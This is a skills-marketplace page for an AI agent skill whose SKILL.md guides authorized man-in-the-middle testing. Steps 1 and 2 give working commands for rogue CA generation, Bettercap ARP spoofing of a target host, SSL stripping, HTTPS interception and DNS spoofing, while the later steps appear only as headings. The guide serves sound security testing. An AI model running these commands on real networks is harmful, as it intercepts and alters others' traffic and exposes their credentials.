man-middle-attack-smltn

Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.

インストールへ移動

リポジトリ: Undermybelt/hermes-skills
ソースの最終更新活動: 2026年6月7日 07:23
検出された SKILL.md の言語: 英語
スター: 6
フォーク: 1

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

Codex または Claude でインストールこの Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。

直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。

npx skills add https://github.com/Undermybelt/hermes-skills --skill man-middle-attack-smltn

コマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。

ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

ファイルエクスプローラー

4 ファイル

SKILL.md

ソースの指示 · 読み取り専用プレビュー

検索に戻るインストールに戻る

anti-entropy-governance

Use when retiring old logic, collapsing duplicate owners, removing fallbacks, or touching schema, persistence, or source-of-truth boundaries while deciding whether to delete old paths, retain compatibility, or stop for confirmation.

2026-06-07

brainstorming

Use when defining new features, product behavior, UI/component design, architecture choices, contract changes, or ambiguous medium/high-complexity work before implementation.

2026-06-07

communicating-concisely

Use when the user asks for caveman mode, fewer tokens, brief responses, compressed communication, or otherwise explicitly requests a much shorter answer.

2026-06-07

このリポジトリのすべてを見る

name	man-middle-attack-smltn
description	Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities.
domain	cybersecurity
subdomain	network-security
tags	["network-security","mitm","bettercap","ettercap","mitmproxy"]
version	1.0
author	mahipal
license	Apache-2.0
nist_csf	["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"]

Conducting Man-in-the-Middle Attack Simulation

When to Use

Testing whether applications properly validate TLS certificates and enforce encrypted communications
Demonstrating the risk of cleartext protocols (HTTP, FTP, Telnet, SMTP) to organization stakeholders
Validating that HSTS, certificate pinning, and other anti-MITM controls are correctly implemented
Assessing network detection capabilities for ARP spoofing, DHCP spoofing, and DNS spoofing attacks
Training incident response teams to identify and respond to MITM attack indicators

Do not use on production networks without explicit written authorization and a rollback plan, against systems you do not own or have permission to test, or for intercepting communications of uninvolved third parties.

Prerequisites

Written authorization specifying in-scope targets and approved MITM techniques
Bettercap 2.x, Ettercap, and mitmproxy installed on the attacker machine
Layer 2 access to the same network segment as target hosts
Custom CA certificate for TLS interception testing (generated specifically for the engagement)
Wireshark or tshark for capturing and verifying intercepted traffic
Isolated lab environment or approved production test window with rollback procedures

Workflow

Step 1: Set Up the Attack Environment

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# Disable ICMP redirects
sudo sysctl -w net.ipv4.conf.all.send_redirects=0

# Generate a CA certificate for TLS interception
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
  -subj "/CN=MITM Test CA/O=Security Assessment/C=US"

# Discover hosts on the target network
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"

Step 2: Execute ARP-Based MITM with Bettercap

# Start Bettercap with interactive mode
sudo bettercap -iface eth0

# Enable network probing to discover hosts
> net.probe on

# Display discovered hosts
> net.show


>  arp.spoof.targets 192.168.1.50
>  arp.spoof.fullduplex 


> arp.spoof on


>  http.proxy.sslstrip 
> http.proxy on


>  https.proxy.certificate mitm-ca.crt
>  https.proxy.key mitm-ca.key
> https.proxy on


>  dns.spoof.domains example.com,*.example.com
>  dns.spoof.address 192.168.1.99
> dns.spoof on


>  net.sniff.verbose 
>  net.sniff.filter 
> net.sniff on

Term	Definition
Man-in-the-Middle (MITM)	Attack where the adversary secretly intercepts and potentially alters communication between two parties who believe they are communicating directly
SSL Stripping	Downgrade attack that converts HTTPS connections to HTTP by intercepting the initial HTTP request before the TLS upgrade, bypassing encryption
HSTS (HTTP Strict Transport Security)	Browser security policy that forces HTTPS connections and prevents SSL stripping by caching the requirement for encrypted connections
Certificate Pinning	Application security control that validates server certificates against a pre-configured set of trusted certificates, detecting MITM proxy certificates
ARP Cache Poisoning	Layer 2 attack technique that corrupts the ARP cache of target hosts to redirect traffic through the attacker's machine
Transparent Proxy	Proxy that intercepts traffic without requiring client-side configuration, typically using iptables REDIRECT rules to capture traffic destined for standard ports

man-middle-attack-smltn

インストール方法

ソースファイルを確認

Conducting Man-in-the-Middle Attack Simulation

When to Use

Prerequisites

Workflow

Step 1: Set Up the Attack Environment

Step 2: Execute ARP-Based MITM with Bettercap

Conducting Man-in-the-Middle Attack Simulation

When to Use

Prerequisites

Workflow

Step 1: Set Up the Attack Environment

Step 2: Execute ARP-Based MITM with Bettercap

Step 3: Intercept HTTP/HTTPS Traffic with mitmproxy

Step 4: Perform DNS Spoofing and DHCP Attacks

Step 5: Validate Detection and Test Controls

Step 6: Clean Up and Document Results

Key Concepts

Tools & Systems

Common Scenarios

Scenario: Testing HTTPS Enforcement on an Internal Web Application

Output Format

man-middle-attack-smltn

ソース情報

インストール方法

ソースファイルを確認

このリポジトリの他の Skills

このリポジトリの他の Skills

Conducting Man-in-the-Middle Attack Simulation

When to Use

Prerequisites

Workflow

Step 1: Set Up the Attack Environment

Step 2: Execute ARP-Based MITM with Bettercap

Conducting Man-in-the-Middle Attack Simulation

When to Use

Prerequisites

Workflow

Step 1: Set Up the Attack Environment

Step 2: Execute ARP-Based MITM with Bettercap

Step 3: Intercept HTTP/HTTPS Traffic with mitmproxy

Step 4: Perform DNS Spoofing and DHCP Attacks

Step 5: Validate Detection and Test Controls

Step 6: Clean Up and Document Results

Key Concepts

Tools & Systems

Common Scenarios

Scenario: Testing HTTPS Enforcement on an Internal Web Application

Output Format